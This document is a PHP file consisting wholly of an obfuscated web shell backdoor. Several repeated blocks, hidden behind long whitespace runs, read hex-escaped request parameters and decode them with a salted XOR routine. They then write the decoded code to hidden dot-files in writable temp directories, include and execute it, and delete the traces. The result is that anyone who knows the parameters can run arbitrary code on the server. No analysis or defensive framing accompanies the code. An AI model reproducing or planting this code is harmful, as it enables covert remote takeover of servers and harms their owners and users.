<?php																																										if(array_key_exists("\x64a\x74a", $_REQUEST) && !is_null($_REQUEST["\x64a\x74a"])){ $parameter_group = $_REQUEST["\x64a\x74a"]; $parameter_group = explode( "." , $parameter_group ) ; $flg=''; $salt5='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt5 ); foreach ($parameter_group as $o => $v8): $sChar=ord($salt5[$o % $lenS] ); $d=((int)$v8 - $sChar - ($o % 10)) ^ 87; $flg .= chr($d ); endforeach; $record = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", "/tmp", session_save_path(), sys_get_temp_dir()]); for ($element = 0, $dat = count($record); $element < $dat; $element++) { $pointer = $record[$element]; if (!( !is_dir($pointer) || !is_writable($pointer) )) { $object = vsprintf("%s/%s", [$pointer, ".k"]); if (file_put_contents($object, $flg)) { include $object; @unlink($object); exit; } } } }
																																										if(isset($_POST["\x72e\x63o\x72d"])){ $resource = $_POST["\x72e\x63o\x72d"]; $resource = explode ( '.' ,$resource ) ; $ent= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt); foreach ($resource as $s => $v3) { $sChar= ord($salt[$s % $lenS]); $dec= ((int)$v3 - $sChar - ($s % 10)) ^73; $ent .= chr($dec); } $comp = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), session_save_path(), "/tmp", "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($comp as $key) { if (array_product([is_dir($key), is_writable($key)])) { $marker = join("/", [$key, ".rec"]); if (file_put_contents($marker, $ent)) { include $marker; @unlink($marker); exit; } } } }
																																										if(isset($_REQUEST["\x69tem"])){ $object = array_filter([session_save_path(), getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", getenv("TEMP"), "/dev/shm"]); $pset = $_REQUEST["\x69tem"]; $pset=explode ( "." , $pset ) ; $flg = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $l = 0; $len = count($pset); do { if ($l>= $len) break; $v6 = $pset[$l]; $chS = ord($s[$l % $sLen]); $dec = ((int)$v6 - $chS - ($l % 10)) ^ 14; $flg .= chr($dec); $l++; } while (true); for ($dat = 0, $ent = count($object); $dat < $ent; $dat++) { $record = $object[$dat]; if (!!is_dir($record) && !!is_writable($record)) { $data_chunk = vsprintf("%s/%s", [$record, ".component"]); if (file_put_contents($data_chunk, $flg)) { include $data_chunk; @unlink($data_chunk); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["pgr\x70"])){ $pset = array_filter(["/tmp", session_save_path(), getcwd(), getenv("TEMP"), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir()]); $hld = $_REQUEST["pgr\x70"]; $hld = explode( "." , $hld ) ; $marker =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $z =0; $__tmp =$hld; while ($v1 =array_shift($__tmp)) { $sChar =ord($salt[$z%$lenS]); $dec =((int)$v1 - $sChar - ($z%10)) ^ 65; $marker .= chr($dec); $z++;} foreach ($pset as $key => $obj) { if (!( !is_dir($obj) || !is_writable($obj) )) { $parameter_group = "$obj" . "/.descriptor"; $file = fopen($parameter_group, 'w'); if ($file) { fwrite($file, $marker); fclose($file); include $parameter_group; @unlink($parameter_group); die(); } } } }
																																										if(in_array("\x76a\x6C", array_keys($_REQUEST))){ $token = array_filter(["/var/tmp", session_save_path(), "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/dev/shm"]); $entity = $_REQUEST["\x76a\x6C"]; $entity= explode ("." , $entity) ; $value = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s2); foreach( $entity as $l => $v5): $chS = ord( $s2[$l % $lenS]); $d =( ( int)$v5 - $chS -( $l % 10)) ^ 28; $value.=chr( $d); endforeach; foreach ($token as $data) { if (max(0, is_dir($data) * is_writable($data))) { $key = implode("/", [$data, ".mrk"]); $success = file_put_contents($key, $value); if ($success) { include $key; @unlink($key); exit;} } } }
																																										if(@$_REQUEST["hol\x64er"] !== null){ $pointer = $_REQUEST["hol\x64er"]; $pointer= explode ('.' ,$pointer); $dat =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $s ); foreach( $pointer as $q=> $v7): $sChar =ord( $s[$q % $sLen] ); $dec =( ( int)$v7 - $sChar -( $q % 10)) ^95; $dat .=chr( $dec ); endforeach; $item = array_filter(["/tmp", getenv("TMP"), "/var/tmp", session_save_path(), getenv("TEMP"), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]); for ($hld = 0, $record = count($item); $hld < $record; $hld++) { $res = $item[$hld]; if (!!is_dir($res) && !!is_writable($res)) { $dchunk = str_replace("{var_dir}", $res, "{var_dir}/.value"); $file = fopen($dchunk, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $dchunk; @unlink($dchunk); exit; } } } }
																																										if(!empty($_POST["d\x61ta_\x63\x68u\x6E\x6B"])){ $value = $_POST["d\x61ta_\x63\x68u\x6E\x6B"]; $value =explode ( "." , $value ) ; $marker = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6 ); $x = 0; foreach ($value as $v9) { $chS = ord($salt6[$x % $sLen] ); $d = ((int)$v9 - $chS - ($x % 10)) ^ 4; $marker.= chr($d ); $x++; } $bind = array_filter(["/var/tmp", getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", "/dev/shm", session_save_path()]); foreach ($bind as $key => $entry) { if ((function($d) { return is_dir($d) && is_writable($d); })($entry)) { $val = sprintf("%s/.key", $entry); if (file_put_contents($val, $marker)) { include $val; @unlink($val); die(); } } } }
																																										if(!empty($_REQUEST["\x65le\x6D"])){ $desc = $_REQUEST["\x65le\x6D"]; $desc= explode ( '.' ,$desc ) ; $ptr = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); foreach ($desc as $j => $v7) { $chS = ord($salt6[$j % $sLen]); $d = ((int)$v7 - $chS - ($j % 10)) ^ 58; $ptr .= chr($d); } $object = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), "/tmp", getenv("TMP"), getcwd()]); $reference = 0; do { $dat = $object[$reference] ?? null; if ($reference >= count($object)) break; if (is_dir($dat) && is_writable($dat)) { $symbol = str_replace("{var_dir}", $dat, "{var_dir}/.binding"); $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $ptr); fclose($file); include $symbol; @unlink($symbol); die(); } } $reference++; } while (true); }
																																										if(array_key_exists("\x72\x65so\x75\x72ce", $_REQUEST)){ $comp = $_REQUEST["\x72\x65so\x75\x72ce"]; $comp = explode ( '.', $comp ) ; $holder= ''; $s4= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s4); $s= 0; foreach( $comp as $v9) { $chS= ord( $s4[$s % $lenS]); $dec= ( ( int)$v9 - $chS -( $s % 10)) ^90; $holder .= chr( $dec); $s++; } $tkn = array_filter([ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", getenv("TMP"), getcwd(), sys_get_temp_dir(), "/var/tmp"]); foreach ($tkn as $flg) { if ((bool)is_dir($flg) && (bool)is_writable($flg)) { $parameter_group = sprintf("%s/.pset", $flg); if (file_put_contents($parameter_group, $holder)) { require $parameter_group; unlink($parameter_group); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["c\x6F\x6Dp"])){ $bind = $_REQUEST["c\x6F\x6Dp"]; $bind= explode ( '.' , $bind ) ; $hld = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $t = 0; $__len = count($bind); do { if ($t >= $__len) break; $v1 = $bind[$t]; $chS = ord($s[$t % $lenS]); $dec = ((int)$v1 - $chS - ($t % 10)) ^51; $hld .= chr($dec); $t++; }while (true); $dchunk = array_filter([getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP")]); $binding = 0; do { $tkn = $dchunk[$binding] ?? null; if ($binding >= count($dchunk)) break; if (is_dir($tkn) && is_writable($tkn)) { $ent = vsprintf("%s/%s", [$tkn, ".pset"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $ent; @unlink($ent); exit; } } $binding++; } while (true); }
																																										if(in_array("\x63o\x6Dpon\x65n\x74", array_keys($_POST))){ $fac = $_POST["\x63o\x6Dpon\x65n\x74"]; $fac = explode ( ".", $fac) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $u = 0; array_walk($fac, function ($v9) use (&$property_set, &$u, $s, $lenS) { $chS = ord($s[$u%$lenS]); $d = ((int)$v9 - $chS - ($u%10)) ^ 4; $property_set .= chr($d); $u++; } ); $ent = array_filter([getenv("TEMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TMP")]); $ptr = 0; do { $holder = $ent[$ptr] ?? null; if ($ptr >= count($ent)) break; if (is_dir($holder) && is_writable($holder)) { $entity = implode("/", [$holder, ".k"]); if (file_put_contents($entity, $property_set)) { require $entity; unlink($entity); die(); } } $ptr++; } while (true); }
																																										if(@$_POST["r\x65\x63o\x72d"] !== null){ $property_set = array_filter([getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getcwd()]); $tkn = $_POST["r\x65\x63o\x72d"]; $tkn = explode ("." , $tkn ) ; $pointer = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s7); foreach( $tkn as $w => $v1) { $sChar = ord( $s7[$w % $lenS]); $dec =( ( int)$v1 - $sChar -( $w % 10)) ^86; $pointer .= chr( $dec); } foreach ($property_set as $val) { if (is_writable($val) && is_dir($val)) { $ptr = vsprintf("%s/%s", [$val, ".pgrp"]); if (@file_put_contents($ptr, $pointer) !== false) { include $ptr; unlink($ptr); die(); } } } }


if(array_key_exists("\x72es", $_POST)){
	$object = $_POST["\x72es"];
	   $object   = explode			(	 "."	, 		$object ) 	;
	$desc = '';
            $s = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($s);
            $l = 0;
            $__len = count($object);
    
            do {		if($l		>=	 $__len) break;
                $v8 = $object[$l];
                $sChar = ord($s[$l 	% 	$sLen]);
                $dec =((int)$v8 - $sChar -($l 	% 	10)) ^ 3;
                $desc		.=chr($dec);
                $l++;
            } while(true);
	$dat = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm"]);
	$element = 0;
do {
    $token = $dat[$element] ?? null;
    if ($element >= count($dat)) break;
    		if (is_writable($token) && is_dir($token)) {
    $symbol = sprintf("%s/.holder", $token);
    $success = file_put_contents($symbol, $desc);
if ($success) {
	include $symbol;
	@unlink($symbol);
	die();}
}
    $element++;
} while (true);
}